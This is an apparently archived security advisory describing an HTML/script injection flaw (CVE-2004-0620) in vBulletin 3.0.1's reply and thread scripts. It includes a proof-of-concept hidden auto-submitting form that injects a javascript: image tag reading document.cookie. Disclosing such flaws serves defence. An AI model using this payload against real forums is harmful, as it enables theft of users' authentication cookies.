VBulletin Multiple Module HTML Injection Vulnerability

Bugtraq ID:	10602
Class:	Input Validation Error
CVE:	CVE-2004-0620
Remote:	Yes
Local:	No
Published:	Jun 24 2004 12:00AM
Updated:	Jul 12 2009 05:16AM
Credit:	Discovery is credited to Cheng Peng Su <[email protected]>.
Vulnerable:	VBulletin VBulletin 3.0.1
Not Vulnerable:

VBulletin Multiple Module HTML Injection Vulnerability

VBulletin is reported prone to an HTML injection vulnerability. This issue affects the 'newreply.php' and 'newthread.php' scripts.

An attacker may exploit this issue by including hostile HTML and script code in fields that may be viewable by other users, potentially allowing for theft of cookie-based authentication credentials and other attacks.

This issue is reported to affect VBulletin version 3.0.1, however, it is likely that other versions are affected as well.

VBulletin Multiple Module HTML Injection Vulnerability

No exploit is required.

The following proof of concept is available:
<form action="http://www.example.com/newreply.php" name="vbform"
method="post" style='visibility:hidden'>
<input name="WYSIWYG_HTML"
value="<IMG src="javascript:alert(document.cookie)">"/>
<input name="do" value="postreply"/>
<input name="t" value="123456" />
<input name="p" value="123456" />
<input type="submit" class="button" name="preview"/>
</form>
<script>
document.all.preview.click();
</script>

VBulletin Multiple Module HTML Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

VBulletin Multiple Module HTML Injection Vulnerability

References:

• Vendor Homepage (Kyberna)
  
• vBulletin HTML Injection Vuln (Cheng Peng Su )